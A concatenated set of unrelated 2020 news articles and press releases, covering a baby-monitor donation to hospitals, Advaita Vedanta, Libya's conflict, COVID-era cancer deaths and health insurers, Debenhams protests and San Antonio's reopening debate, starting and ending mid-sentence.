and innovative monitoring system. This advanced technology allows our caregivers to safely observe COVID-19 positive patients and those patients who are under investigation for COVID-19 or another highly contagious illness. This gift provides a priceless peace of mind." For images of Miku monitors integrated into hospitals nationwide, view and download from this DROPBOX LINK For more information on Miku and to find out how the company is working to help mitigate the effects of COVID-19, visit mikucare.com and follow the brand on Instagram @mikucare . About Miku: Based in Los Angeles, CA, Miku is a new technology company that cares about your every breath. The Miku Smart Baby Monitor is the first-of-its-kind, combining proprietary SensorFusion technology, Qualcomm processing, and next generation safety features in a sleek, modern design. About Mission Hospital: Mission Hospital is a state-of-the art, 523-bed acute care regional medical center in Mission Viejo, California. As one of the busiest designated adult and pediatric Level II Trauma Centers in the state of California, Mission Hospital provides a full range of reputable specialty health care services with highly skilled teams treating a multitude of complex conditions. Services include a full range of expertise in cardiovascular, neuroscience and spine, orthopedics, cancer care, women's services, mental health and wellness, head and neck, and a variety of other specialty services. Mission Hospital in Laguna Beach provides South Orange County coastal communities with 24-hour emergency and intensive care as well as medical-surgical/telemetry services, orthopedics, general and GI surgery. CHOC Children's at Mission Hospital is a 54-bed facility that is the area's only dedicated pediatric hospital. Fully accredited by The Joint Commission and designated as a Magnet hospital by the American Nurses Credentialing Center for nursing excellence, Mission Hospital is highly recognized for its high quality of care, evidenced through a multitude of healthcare quality benchmarks. Mission Hospital is part of Providence St. Joseph Health, a not-for-profit provider of integrated health care. Together, we work to improve the quality of life in the communities it serves in the tradition of the Sisters of St. Joseph of Orange and Sisters of Providence. For more information, visit www.mission4health.com . About Baptist Health: Serving a 14 county area, Baptist Health is the premier healthcare organization in Montgomery, Alabama. Baptist Health is the River Region's largest private sector employer with nearly 5,000 employees. Hospitals in the Baptist system include Baptist Medical Center South, a licensed 454-bed, regional acute care referral center, Baptist Medical Center East, a 150-bed full-service hospital, and Prattville Baptist Hospital, an 85-bed hospital. For more information, visit baptistfirst.org . About Montefiore Health Systems: Montefiore Health System is one of New York's premier academic health systems and is a recognized leader in providing exceptional quality and personalized, accountable care to approximately three million people in communities across the Bronx, Westchester and the Hudson Valley. It is comprised of 11 hospitals, including the Children's Hospital at Montefiore, Burke Rehabilitation Hospital and more than 200 outpatient ambulatory care sites. The advanced clinical and translational research at its medical school, Albert Einstein College of Medicine, directly informs patient care and improves outcomes. From the Montefiore-Einstein Centers of Excellence in cancer, cardiology and vascular care, pediatrics, and transplantation, to its preeminent school-based health program, Montefiore is a fully integrated healthcare delivery system providing coordinated, comprehensive care to patients and their families. For more information please visit www.montefiore.org . Follow us on Twitter and view us on Facebook and YouTube . SOURCE Miku Related Links https://mikucare.com Adi Shankaracharya was an Indian philosopher from the 8th century who is responsible for consolidating the doctrine of Advaita Vedanta. Advaita Vedanta is a Hindu school of philosophy which was originally known as Purusavada and is a way of spiritual realisation in Hindu tradition. Advaita refers to the concept that Atman, which is the true self, is the same as Brahman, the highest metaphysical reality of the universe. Adi Shankaracharya is also known for consolidating the main thoughts associated with Hinduism. His Sanskrit works talk about the unity of atman and Nirguna Brahman. In support of his thesis, he wrote several commentaries on the Vedic canon. His works talk about the ideas mentioned in the Upanishads in more detail and his publications also criticised the Mimamsa school of Hindusim, which was known for being oriented ritually. Shankaracharya is also known as the one who explained the key difference between Hinduism and Buddhism, explaining that while Hinduism believes that the soul exists, according to Buddhism there is no soul. In order to talk about his beliefs and philosophy, Shankaracharya all across the Indian subcontinent and held various debates and lectures with other thinkers. He made people understand the significance of monastic life as mentioned in the Upanishads and the Brahma Sutra, during a time when the Mimamsa school had put in place rituals and also ridiculed the practice of Monasticism. Shankaracharya had founded four mathas (monasteries) which contributed to the historical development and spreading of Advaita Vedanta. Shankaracharya is known as the greatest revivalist of Advaita Vedanta. Follow more stories on Facebook and Twitter Prince Harry and Meghan Markle are expected to be followed by paparazzi wherever they go since they moved to Los Angeles. Now, as the power couple think of ways how they could get around the city without the paparazzi on their tail, they got some unsolicted expert advice. The Perfect Advice The Duke and Duchess of Sussex could surely use some help when it comes to dealing with the paparazzi. Luckily, Lindsay Lohan has the perfect advice for the lovely couple. During her interview with Andy Cohen on his SiriusXM show "Radio Andy," the host said that Harry and Meghan have moved to Malibu, an area where there's a ton of paparazzi on the loose. While he was at it, Cohen asked Lohan if she has some advice for the royal couple when it comes to dealing with the paparazzi. It spurred some laughter from the actress. "It's just really hard to do anything publicly [there]," Lohan said. However, Lohan also pointed out that if the royal couple is trying to settle down in their new home in Malibu, now is a perfect time as everyone is practicing social distancing. "The timing right now luckily is everyone is more at home," she said. "But, once that's over...just...get drivers." If there is anyone who knows how to avoid the paparazzi, it's definitely the "Mean Girls" actress. After all, there was a time when the 33-year-old songstress could not escape the paparazzi. They were everywhere she turned. While the actress may have retreated from the eyes of the public, she has not completely forgotten what it was like to live the celebrity life in California. The New Life Last Month, E! News confirmed that the Duke and Duchess of Sussex have relocated to a large home in Los Angeles. Since then, they have publicly announced their new charitable endeavor, the Archewell Foundation. The couple has put that project "on hold" at the moment as they want to focus their attention on the coronavirus pandemic. The world-famous couple was recently spotted around downtown L.A. trying to subtly deliver meals to chosen Los Angeles residents. "Meghan and Harry were looking to be of service on Easter and Meghan was talking to her mother who told her Project Angel Food needs help. She said, 'Yes, I would love to do it,'" Richard Ayoub, executive director of Project Angel Food, told E! News. He added that the royal couple was very interested in sending help to the most vulnerable members of the community. "They contacted us and came in and we gave them a tour of the kitchen. They were very engaged with everyone they met and asked questions. They were completely down to earth and interested in helping our more vulnerable clients, people who have compromised immune systems who are the most prone to getting the coronavirus," Ayoub furthered Ayoub also shared that he only told Harry and Meghan of the basic protocols in terms of wearing mask, gloves and the right social distance to keep. "So, they went out and knocked on doorsteps wearing N95 masks and gloves," the PAF exec shared. "They were pretty covered up so some of the people they delivered to may not have had any idea who they were. We did get one call yesterday from someone who said, 'It just dawned on me. Was that who I think it was?'" Harry and Meghan are trying to ease themselves in their new community. And while the paparazzi may be all over them, needless to say, the help they extended at this difficult time is truly appreciated. General Haftar, who controls Libyas east, says his Libyan National Army accepted the will of the people. Libyas UN-recognised government accused rival military commander Khalifa Haftar of seeking to stage a new coup after he claimed to have a mandate from the people to govern the country. Its a farce and the latest in a long series of coups detat, the Government of National Accord (GNA), which is based in the capital, Tripoli, said in a statement on Tuesday. What the war criminal Haftar said was a coup on the democratic path, not new but a continuation of his failed coups and to cover up his repeated defeats, it added. The oil-rich North African nation has been gripped by chaos since the downfall and killing of longtime dictator Muammar Gadaffi in 2011, with rival administrations in the east and west vying for power. Haftar, who controls swaths of eastern Libya and in April last year launched an offensive to seize Tripoli, on Monday said his army had accepted the will of the people and its mandate. The leader of the Libyan National Army (LNA) did not make clear however if a parliament elected in 2014 and also based in the east of the country backed his move. 200427095209181 Haftar claims his legitimacy from that parliament, which was forced to move its headquarters after violence ripped apart Tripoli six years ago. The GNA said Haftar had turned his back on the parallel political institutions that backed him and designated him head of the army. The Tripoli-based government urged Libyans to join a comprehensive dialogue and continue in the democratic path to reach a comprehensive and permanent solution based on ballot boxes. Both sides are supported by a network of fractious militias and foreign powers. Turkey has sent armoured drones, air defences and more recently, Syrian fighters, to prop up the embattled Tripoli government. Meanwhile, Russia has deployed hundreds of mercenaries to boost Haftars assault. The United Arab Emirates and Egypt also back Haftar. Civilians suffer Washington called for dialogue between the two sides and a humanitarian truce. The United States regrets commander Haftars suggestion that changes to Libyas political structure can be imposed by unilateral declaration, a statement on its embassys Twitter account said. As civilians continue to suffer during the holy month of Ramadan and the COVID-19 pandemic threatens more lives, we urge the LNA to join the Government of National Accord in declaring an immediate humanitarian cessation of hostilities. Commenting on the developments, Kremlin spokesperson Dmitry Peskov said: Russia remains in contact with all participants in the Libyan process. We believe that there are no other ways to regulate the Libyan problem. Earlier on Tuesday, the RIA news agency, citing a foreign ministry source, said Russia was surprised by Haftars power grab on Monday as he announced the end of a 2015 UN-mediated agreement that produced the GNA. He made similar remarks in 2017 and three years earlier also appeared on television to say he was taking the reins of power in Libya. Violence spikes Forces loyal to Haftar attacked residential areas just outside the key stronghold of Tarhouna, south east of the capital Tripoli, which Haftars forces have taken over. Al Jazeeras Mahmoud Abdelwahed, reporting from Tripoli, said the escalation of violence has focused on areas near the town of Meslata, east of Tarhouna. Armed groups belonging to the GNA have been attacking Haftars forces in the vicinity of Tarhouna. In retaliation, Haftars forces have been attacking the city of Meslata with grad rockets causing a state of panic and fear among civilians, said Abdelwahed. He added: This situation might exacerbate especially that Tarhouna is besieged by government forces who launched a campaign 10 days ago to regain the city. If they do, Haftars forces will have lost their control in the west of Libya. Haftar has been accused by his detractors of seeking to impose a new military dictatorship in Libya. His offensive to seize Tripoli has claimed hundreds of lives and displaced some 200,000 people. The LNA, meanwhile, accused its GNA rivals on Tuesday of staging an attack in which a Turkish drone hit a food truck convoy in the countrys west, killing at least five civilians. Ahmed al-Mosmari, a spokesman for Haftars forces, said the drone strike took place late Monday near the district Mizda, 184km (114 miles) south of Tripoli. The militia groups loosely allied with GNA denied attacking civilians, saying instead they targeted trucks carrying equipment and ammunition for eastern forces trying to take Tripoli. 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A total of 75,891,618 shares, representing 60.38% of the share capital was represented at the General Meeting. All proposals were resolved as presented in the notice convening the General Meeting distributed on 27 March 2020 and as further set out in the minutes from the General Meeting attached hereto. For further information, please contact: Ingrid Aarsnes, VP Communication & IR, tel: +47 950 38 364 email: ir@scatecsolar.com About Scatec Solar Scatec Solar is an integrated independent solar power producer, delivering affordable, rapidly deployable and sustainable clean energy worldwide. A long- term player, Scatec Solar develops, builds, owns, operates and maintains solar power plants and has an installation track record of more than 1.6 GW. The company has a total of 1.9 GW in operation and under construction on four continents. With an established global presence and a significant project pipeline, the company is targeting a capacity of 4.5 GW in operation and under construction by end of 2021. Scatec Solar is headquartered in Oslo, Norway and listed on the Oslo Stock Exchange under the ticker symbol SSO. To learn more, visit www.scatecsolar.com . This information is subject to the disclosure requirements pursuant to Section 5-12 the Norwegian Securities Trading Act Attachment (Newser) He's doing more than covering up a controversial tattoo. A remorseful Justin Rohrwasser, a kicker newly drafted by the New England Patriots, tells Boston's WBZ-TV that he will have a tattoo representing an anti-government group removed from his arm altogether. Rohrwasser reiterated that he got the tattoo representing the Three Percenters group when he was a teenager and didn't have a clear understanding of its meaning. "It was described to me as the percentage of colonists that rose up against the government of the British," he said, per ESPN. "I was like, 'Wow, that is such an American sentiment, a patriotic sentiment.' Coming from a military family, I thought that really spoke to me.'" story continues below The problem is that the Southern Poverty Law Center categorizes the Three Percenters as "anti-government," which Rohrwasser says he just learned last weekend. He initially told reporters he planned to cover up the tattooit depicts the Roman numeral III surrounded by starsbut he's now making clear it will be removed. "It's shameful that I had it on there ignorantly," he says. Rohrwasser choked up during the video while apologizing to his family for the controversy. The Three Percenters group, meanwhile, says it is not anti-government or a militia but exists "to rein in an overreaching government and push back against tyranny," per USA Today. (Read more New England Patriots stories.) The coronavirus crisis in the UK could result in 18,000 more cancer deaths in the next year and a further 2million general NHS operations have also been axed, it was revealed today. Cancer treatment has been put on hold to make room for thousands of patients who are hospitalised with the killer virus while urgent GP referrals for diagnoses have dropped as experts fear people are not coming forward with cancer symptoms. The number of deaths in newly diagnosed cancer cases is predicted to rise by a fifth in England alone as a result. Experts have warned indirect deaths from the pandemic - due to cancer, heart attack, mental health and more - will exceed that of the virus itself, which has killed at least 21,000 in the UK so far. Scientists fear at least 6,270 extra people will die from a new case of cancer. When people currently living with cancer are included, the figure jumps to 17,915. And Professor Peter Johnson, the NHS's national clinical director for cancer, has said despite concerns about coronavirus, 'old enemies' like cancer 'present a still greater danger'. The Royal College of Surgeons warned yesterday that the NHS faces a backlog of 2million non-coronavirus operations that will take 'many years' to clear. RCS President Derek Alderson said: 'I think that it will take us many years to get back to a good position. We need more operating theatre facilities, we need more beds, we have got to keep the independent sector going, we may need to rely on keeping some of the Nightingale hospitals open.' Scientists fear at least 6,270 extra people will die from a new case of cancer. When people currently living with cancer are included, the figure jumps to 17,915 Yesterday, Health Secretary Matt Hancock revealed NHS treatment will start again from today because hospitalisations from COVID-19 had peaked. Hospitals cancelled scores of non-urgent procedures - like hip and knee ops and IVF treatment - and cancer treatment to free up space for infected patients. Ministers faced pressure last to week to change tack after NHS hospitals - including make-shift Nightingale wards - were emptier with fewer COVID-19 patients. The study from University College London (UCL) and DATA-CAN, the Health Data Research Hub for Cancer, is one of the first to investigate the threat of indirect deaths caused by the pandemic. Although the Government reports how many people have died of the virus every day, it's not as clear how many people are dying indirectly as a result of the pandemic. Experts looked at real-time weekly hospital data for urgent cancer referrals and chemotherapy attendances. The majority of patients with cancer or who are suspected to have cancer are not accessing health services, which delays treatment. Professor Johnson has warned that despite these huge numbers, too many individuals are 'putting off' seeking help about symptoms. Johnson says that he and his colleagues are 'concerned' people have been putting off seeing their GP 'about possible cancer symptoms'. He adds: 'If people put off seeking advice... cancer will be an even bigger threat to thousands of lives in this country.' Professor Johnson, who was formerly the chief clinician at Cancer Research UK, cites polling showing that one in ten patients would delay seeing their GP about cancer signs. A survey of 1,000 members of the public by NHS England found 10 per cent would not seek help at all during the coronavirus pandemic if they suspected they may have cancer. Two soldiers from 3rd Battalion Royal Welsh Regiment wearing the correct PPE while decontaminating an NHS Wales ambulance Another 36 per cent said they would wait a week before making an appointment but the advice is to do so immediately. Attendance for chemotherapy has dropped by 60 per cent in the weeks leading up to April, when looking specifically at England and Northern Ireland. Cancer referrals are 76 per cent lower. Data was taken from eight hospitals in England run by three trusts - Leeds Teaching Hospitals NHS Trust, the Royal Free in London and University College London Hospitals - and all five health trusts in Northern Ireland. BRITAIN'S NEAR-EMPTY NIGHTINGALE WARDS COULD BE FILLED WITH MOST OF UK'S CORONAVIRUS PATIENTS TO MAKE HOSPITALS COVID-FREE ZONES Britain's near-empty Nightingale wards could be filled with the majority of Britain's coronavirus patients in order to make the UK's permanent hospitals 'Covid-free zones'. Health Secretary Matt Hancock is planning to reopen key areas of the NHS for routine care - including cancer treatment starting from today. Five of the seven planned Nightingale hospitals set up in warehouses and exhibition centres have opened so far - but the largest in east London only had 26 patients last week despite having 3,500 beds. Birmingham's has had no patients at all. Ministers are now considering moving as many non-critical coronavirus cases as possible to the temporary wards built in every region over the past month. Experts believe that up to 13,000 beds could be freed up in Britain's permanent hospitals, which would become 'Covid-free zones', according to The Times. Minuscule numbers of patients are currently being cared for in the Nightingale hospitals because they lack the specialist staff and equipment, doctors have claimed. Less than a 100 are claimed to be in them - despite the NHS saying it is caring for 15,051 coronavirus patients. Matt Hancock announced yesterday that the most urgent NHS services will restart from today. He stressed that the NHS is 'open' and asked the public to 'help us help you'. Advertisement Before the pandemic, about 89,576 deaths from cancer occurred in primary care in England annually, according to data from more than 3.5million patients. Of these deaths, 31,354 were in newly diagnosed cancer patients. This could increase by around 6,270, the team said. Around 58,222 died annually from cancer diagnosed in the past year - but this could also rise by a fifth, causing an extra 11,645 deaths in only 12 months, the team said. When all people with cancer are included, the figure jumps to 17,915 excess deaths. Senior author Professor Harry Hemingway, director of the UCL Institute of Health Informatics, said: 'The overall impact of the Covid-19 emergency on deaths in cancer patients could be substantial. 'There are many factors operating here, including rapid changes to diagnosis and treatment protocols, social distancing measures, changes in people's behaviour in seeking medical attention and the economic impact of Covid-19, as well as deaths due to Covid-19 infection.' The researchers also gave a shocking figure for the US - an estimated 33,890 extra deaths in newly diagnosed cancer patients alone over the next year. Before the pandemic, about 169,433 newly diagnosed cancer patients would die within a year in the US. Professor Mark Lawler, scientific lead at DATA-CAN, said: 'We believe countries need to rapidly understand how the emergency is affecting cancer outcomes, otherwise we risk adding cancer and other underlying health conditions to the escalating death toll of the Covid-19 pandemic.' The research found that almost eight out of 10 of the extra deaths occurring among cancer patients were in people also suffering from conditions such as heart disease, high blood pressure, obesity and diabetes. It means cancer patients who also have other underlying health conditions - 65 per cent of patients in England - are most at risk of death. Dr Alvina Lai, from the UCL Institute of Health Informatics, said: 'It is vital that these patients are recognised as being vulnerable and that their care is managed appropriately.' Experts have already expressed concerns that deaths from health conditions could soar as a result of the virus in the short and long term. Richard Sullivan, a professor of cancer and global health at King's College London, said the number of deaths due caused by disruption of cancer services is 'likely to outweigh the number of deaths from the coronavirus itself over the next five years', the Express reports. The director of King's College London's Institute of Cancer Policy said: 'The cessation and delay of cancer care will cause considerable avoidable suffering. 'Cancer screening services have stopped, which means we will miss our chance to catch many cancers when they are treatable and curable, such as cervical, bowel and breast. 'When we do restart normal service delivery after the lockdown is lifted, the backlog of cases will be a huge challenge to the healthcare system.' It was initially promised that cancer treatment would not be compromised as a result of the pandemic. But NHS trusts were told back in March to draw up lists of patients who should get chemotherapy or surgery first as hospitals become overwhelmed. Patients with less than a year to live, or who could wait long periods of time without their cancer progressing, were put on the end of the list. In another document, plans were drawn up to send some suspected cancer patients back to their GPs without diagnostic tests. The Health Secretary announced yesterday that the NHS will restart some vital services including cancer care from Tuesday as the country begins to recover from coronavirus. The number of COVID-19 patients in hospital has reduced (pictured) CANCER ADMISSIONS HALVE DURING PANDEMIC Hospital admissions for cancer and heart attacks have more than halved, according to doctors at the UK's leading heart and lung hospital. Royal Papworth Hospital in Cambridge believe people are avoiding hospital for fear of contracting Covid-19 or putting more pressure on the NHS. 'It's clear to us that some people are scared to come to hospital,' said Dr Michael O'Sullivan. 'Roughly speaking, we've seen about a 70 per cent reduction in the number of patients coming in to hospital as an emergency with a heart attack,' the consultant cardiologist said, according to the BBC. Half the number of people with suspected cancer are being referred to the hospital by their GP, from up to 50 a week to between 20 and 25. This could not only delay treatment, but cause an unmanageable backlog for clinicians when the worst of the crisis has eased. Advertisement England's top cancer doctor has urged people to get checked if they are worried about any symptoms. A poll found one in 10 people would not contact their GP even if they had a lump or a new mole which did not go away after a week, while a third are worried about seeking help during the epidemic. Professor Peter Johnson, the NHS clinical director for cancer, said failure to get help could have serious consequences for patients and put a greater burden on the NHS. He pointed to 'Covid-free cancer hubs' set up to provide surgery, while independent sector hospitals have signed a deal with the NHS to offer treatment. Professor Johnson said: 'My message is clear: people should seek help as they always would. 'We know that finding cancer early gives us the best chance to cure it, and ignoring potential problems can have serious consequences now or in the future.' Natalie Haskell, chief executive of breast cancer charity CoppaFeel!, said: 'We know despite coronavirus, breast cancer remains the most common cancer in the UK and many people will be worrying about changes to their breasts during this period. 'Breast cancer is very treatable if found early and we urge people to listen to the NHS and continue to seek out their GP as normal if they are concerned about symptoms.' Anna Jewell, chairwoman of the Less Survivable Cancers Taskforce, which represents those affected by lung, liver, brain, oesophageal, pancreatic and stomach cancers, said: 'People diagnosed with these cancers already have heartbreakingly poor survival rates but treatment can add precious months or years to their life expectancies. 'We want to emphasise the message that the NHS is open and there for people with concerning new symptoms not linked to Covid-19.' Old enemy is still a greater danger Commentary by Professor Peter Johnson, NHS national clinical director for cancer Covid-19 may have been unheard of just a few short months ago, but now we are all too aware of the danger the virus poses to some. What we also have to remember is that old enemies, including cancer, present a still greater danger. While the daily announcement of tragic new deaths from the virus rightly commands headlines, many people are still developing, having treatment for and dying from cancers. In normal times, in spite all of the advances we have made with treatments, cancer still accounts for more than a quarter of all deaths in the UK. So, while nurses, doctors and countless other staff have been doing everything they can to ensure patients with coronavirus get the life-saving treatment they need, the NHS has also been working hard to provide cancer diagnosis and treatment for the people who need them. Peter Johnson (pictured), NHS national clinical director for cancer, has said despite concerns about coronavirus, 'old enemies' like cancer 'present a still greater danger' Remote consultations, treatment hubs protected from the virus and an unprecedented deal with private hospitals are among the innovative ways that the NHS has adapted. Of course, continuing with normal cancer treatment has not been possible in some cases, and doctors and nurses have had to hold difficult discussions with patients. They have had to weigh up the benefits of treatment such as chemotherapy or major surgery against the risk they would create by weakening the immune system, and in some cases, have opted to hold back until a safer time. A cancer diagnosis is a daunting time for patients and their loved ones, but particularly so during a pandemic. However, despite the pressure created by the coronavirus, urgent and essential cancer surgery has been prioritised and many people have been getting the treatment they needed. And as the risk of the virus becomes less great, even more patients will be able to access treatment safely. Hospitals up and down the country are changing the way that they do business so cancer care can continue. Your first appointment may be by phone and you may have your treatment in a different place most likely in one of our new, Covid-protected cancer hubs. While the NHS is and has been doing all it can to continue cancer care, my colleagues and I are concerned that people have been putting off going to see their GP about possible cancer symptoms. Four in ten patients have reported worries about doing this, and a further one in ten have said they would not contact their GP at all because of the virus. If people put off seeking advice about a lump or other warning signs, cancer will present an even bigger threat to thousands of lives in this country. Lives are saved when cancers are caught early and when more people are referred for tests, which is why the NHS has put so much effort into early diagnosis in recent years. That is why we want the public to know that the NHS is here for everyone, as we have been throughout. We can provide care safely, and we want you to come forward if you are worried about symptoms you will not be a burden on the service. We want to see you sooner with a cancer which can be cured, rather than later with one which cannot. So if you or anyone in your family are worried about a symptom, please contact your GP. We want you to help us save lives. If you're interested in submitting a Letter to the Editor, click here. Submit Indian reality TV star and former Bigg Boss winner Ashutosh Kaushik has set up a new example for the lovebirds by tying the knot on his terrace in the presence of close family and friends. The actor married his fiancee Arpita at the terrace of his house in Noida on Sunday during the ongoing coronavirus lockdown. According to various reports, the couple had planned their wedding well in advance and did not want to delay it any further. The marriage took place in a simple manner, where even the pundit ji was spotted wearing a mask. The videos of their wedding have been shared by a fan page. Heres a glimpse of the special day in the actors life: Ashutosh, who was the winner of the fifth season of Roadies in 2007 and the second season of Bigg Boss in 2008, revealed that he has donated the money collected during his wedding to the PM-CARES coronavirus fund. The actor confirmed the news in an interview to TellyTalk. He said that marriage is a personal affair and he wanted it to take place in the presence of just close family members. He said, I donated the amount to the PM-CARES fund. Secondly, whatever I earn from the YouTube channel run by me, also goes to charity. The actor, however, refrained from revealing the amount donated to the charity. Here are some more videos from the day: Ashutosh has also been a part of films such as Zila Ghaziabad and Kismat Love Paisa Dilli. Follow @News18Movies for more As doctors and consumers are forced to put most nonemergency procedures on hold, many health insurers foresee strong profits. So why is the industry looking to Congress for help? Insurers say that while that falloff in claims for non-COVID care is offsetting for now many insurers' costs associated with the pandemic, the future is far more fraught. Costs could remain modest or quickly outstrip savings. A recession could drive revenue down. Or the coronavirus could resurge next winter and spike treatment expenses. All that uncertainty for the companies could trigger far higher premiums for consumers, if insurers hedge their bets. Then again, the current savings insurers are seeing along with cautions from state regulators about pushing cost-sensitive customers away during an economic downturn might result in minimal premium increases. "Insurers are nervous, to be sure," said Michael Kreidler, Washington state's insurance commissioner. "But so far they are telling me they are in good shape. Coronavirus claims have not been that high yet." Backing that assessment was a report out last week by credit rating agency Moody's, which looked at a range of pandemic scenarios from mild to severe and concluded "U.S. health insurers will nonetheless remain profitable under the most likely scenarios." Earlier this month, UnitedHealth Group CEO David Wichmann told analysts that cost reductions so far are outstripping expenses for COVID-19 and that revenue is up compared with the previous year. He expects barring a worsening situation the rest of the year's earnings to match projections. Other insurers, including Centene, Anthem, Humana and Cigna, are scheduled to release earnings reports this week. If these results are repeated across the insurance industry, there will be pressure on insurers to hold down rate increases for next year and do more for policyholders, such as constrain the growth in deductibles and other out-of-pocket costs, said consumer advocates, regulators and policy experts. "The last thing we need is insurers pricing their coverage unnecessarily high at a time like this," said Peter Lee, executive director of Covered California, the health insurance marketplace in that state for people who buy their own coverage because they don't get it through their job. That prediction comes as tens of millions of Americans have lost their jobs and often their health insurance. Those thrown out of work may be able to stay on employer coverage through a federal law called COBRA, but it's expensive and workers have to foot the bill. Insurers and employers have asked Congress for relief legislation to fully cover COBRA costs. Losing a job is also a qualifying event to enroll in an Affordable Care Act plan and, again, the industry has asked lawmakers to temporarily boost subsidies to help enrollees pay their premiums. Some states that run their own ACA marketplaces have reopened enrollment to help the uninsured get coverage. The industry also wants Congress to authorize temporary financial support to help cover insurers that face "extraordinary, unplanned costs in 2020 and 2021," according to a letter sent to lawmakers from Americas Health Insurance Plans and the Blue Cross Blue Shield Association. To help, some states are giving insurers more time this year to submit their planned premium rates for 2021 based on their expected costs hoping things may be clearer by summer. California, for instance, is giving insurers until July to draw up their estimates. One fear is that insurance actuaries, when faced with an unknown risk like the coronavirus, will price higher than needed, said Lee. Setting premiums for next year is a balancing act. Insurers that calculate incorrectly and go too low will lose profits and may have to dig into their cash reserves to pay claims. If they set rates too high, they may run afoul of a provision in the ACA that requires insurers to issue rebates to policyholders if they don't spend at least 80% of revenue on medical care. And they don't estimate well even in normal years. Early data for 2019 coverage shows insurers may owe a record amount in rebates, which will be paid out this year. Insurers are not talking about next year's premiums. "We do not yet know the full scope, severity or duration of this outbreak. So we cannot know the ultimate cost of our members' medical treatment or how long the postponement of non-urgent care will continue," said Justine Handelman, senior vice president at the Blue Cross Blue Shield Association. Early estimates, including a scary one from Covered California issued in late March, warned that costs associated with the coronavirus could drive premiums up 40% next year without federal help, based on initial models of the number of Americans who might fall seriously ill. That report, though, did not take into account the effect of the sharp decline in elective care. Thirty-one states have barred most elective surgeries, part of the effort by governors to promote social distancing to flatten the curve of the epidemic and to help prevent hospitals from being overwhelmed. "The good news since we published that report is that it looks like efforts to flatten the curve are taking effect," said Lee, so costs are more likely to be in the median rather than high end of the range. The cost to insurers "all depends on the severity" of the continuing pandemic, said Dean Ungar, a vice president and senior credit officer at Moody's. "On the lower side, the industry will do quite well, and also even in a more median scenario, especially when you factor in the offsetting benefit of delayed procedures." Moody's estimates that deferred elective procedures may account for as much as 20% to 40% savings on medical costs per month for many insurers as long as elective procedures are barred or patients are unwilling to seek nonemergency care. Even so, "I don't think the insurance industry as a whole has any intention of making money off this," Ungar said. "There will be rebates or other things to help. Partly that's the right thing to do and partly it's good business." Former Cigna executive turned industry critic Wendell Potter disagreed. He tweeted earlier this month that UnitedHealth spent $1.7 billion during the first quarter to buy back its own stock a move that helps the company. "In other words, they're thriving during a pandemic," Potter tweeted. Instead, he said, the insurer should plow that money into premium reductions or other help for policyholders. For its part, UnitedHealth said it has waived patient cost sharing for COVID care as have most other insurers as well as accelerated payments for what it owes to doctors, and is helping provide loans to some clinics. Some physician groups fear they are being left out, saying some of the savings seen by insurers and self-insured employers should be directed to those struggling after seeing their practices dry up as people avoid medical care or governors bar elective procedures. "It's a huge hit," said Tom Banning, CEO and executive vice president of the Texas Academy of Family Physicians. Lee agreed, warning that struggling front-line physicians, and especially family and primary care doctors, will need financial help. "A bad outcome of all this will be if thousands of providers can't make it financially and their practices get bought up by hospitals or private entities creating more consolidation in health care, which is already driving costs up," said Lee. "Lawmakers should be thinking about helping primary providers out." Debenhams workers are set to stage a second bout of protests outside stores nationwide, calling for government action to save their jobs. The protests are in the wake of the news that the British retailer giant is going into liquidation, with the loss of 2,000 jobs in Ireland. Former staff protested last week and are planning to do so again tomorrow while adhering to all social distancing guidelines. Protests will take place in ten stores in Dublin, Cork, Limerick, Galway, Waterford and Newbridge. Shop stewards Jane Crowe and Valerie Conlon said that the government should invest to keep people employed as they believe the stores are profitable. The message of workers from these protests is that 2,000 jobs are on the line at Debenhams, they said in a statement issued today. Thats thousands of people and families reliant on our wages. The government would be better off stepping in now, to invest to keep people employed, rather than having to pay for thousands more people going onto social welfare. Ms Crowe and Ms Conlon also asked for politicians to step in. We believe many of the stores are profitable, as well as the online business. The government is putting billions in to keep people employed because of Covid 19. There are also EU funds available to prevent redundancies. We are asking all our political representatives to ask the government to take a stake here and invest to keep the company trading, they added. The protests will take place from 11am to 11.45am and protesters will afterwards attend an e-rally organised by Mandate trade union at 1pm. Mayor Ron Nirenberg expressed grave concerns Tuesday about reopening businesses in Bexar County too quickly under new orders announced Monday by Gov. Greg Abbott. I think that some of it is too soon, the mayor told the San Antonio Express-News Editorial Board during a video teleconference. This is a risk that we dont need to take in an uninformed manner, he said, adding that he wants a recovery to occur in a careful, phased manner, started with a sustained decline in the caseload and hospitalization rate, along with increased testing and tracing of infections. Were getting there. Were not there yet, Nirenberg said. On ExpressNews.com: COVID-19 cases continue to rise; one new death reported Monday In a wide-ranging discussion, he talked about frustration with Abbots take on face masks and all but abandoned efforts to have a November vote on a proposed 1/8-cent sales tax for transportation. On the tax, he said the community has the pandemic top of mind and theres little time to organize support for the initiative. It already had opposition from groups wanting that 1/8 cent tax reinstated for aquifer protection and hike-and-bike creek trails. No. 1, all the discussion about the campaign on a 1/8-cent is premature. Right now, were totally focused on crisis response, Nirenberg said. And frankly, what I believe is that by the time we get bandwidth as a community to begin to plan for a November campaign, the window may have already closed. So I think Its growing very unlikely that we will have a 1/8-cent tax election on the November ballot. But, he insisted, San Antonio will need a functional, efficient public transportation system in order to be equitable, resilient and strong after the pandemic. On ExpressNews.com: Push for expanded public transit hits COVID-19 roadblock Nirenberg said a resilient San Antonio must have fewer gaps in income and opportunity than in the past. He said he doesnt want the city to return to having tens of thousands of families continuously struggling, as it did before COVID-19. Much attention, for example, has been focused on the San Antonio Food Banks struggles to meet a huge increase in demand since the economic effects of the pandemic set in last month. The fact that we had the Food Bank lines double to 120,000 people a week that means on a normal day here in San Antonio, there were 60,000 families in San Antonio who had to rely on the food bank for food when we werent in a crisis. Under no circumstances should that be an acceptable level of normal, the mayor said. What keeps me up at night is making sure that as we focus on rebuilding San Antonio, were not content to go back to the way things were. Mixed messages Returning to Abbotts new directives, Nirenberg said hes frustrated with a terribly mixed message from the governor to the public on the use of protective face masks. Abbott said he recommends masks or other coverings be used but his order prohibits cities from issuing citations and assessing fines for those who dont wear a facial covering. It makes it difficult when the governor is sending a mixed message about this from an enforcement standpoint, Nirenberg said. On ExpressNews.com: Abbotts order clashes with local rules on face coverings He added that communities would have to rely on residents doing the right thing on their own and businesses setting their own standards. He said he wasnt aware of any citations issued since a local face-cover mandate took effect April 20. The mayor said hes concerned that Abbotts plan isnt based on enough strong information. Loosening up restrictions at this point, lacking the gating criteria that is universally accepted by public health professionals, meaning the 14-day decline in cases and hospitalizations, is a risk that the governor is taking, Nirenberg said. We wont know the impact of that decision and the loosening of those restrictions, probably until three weeks from now, he said. If we were able to maintain the social distancing that we are doing right now, with these new measures in place, then we should continue on the track of being 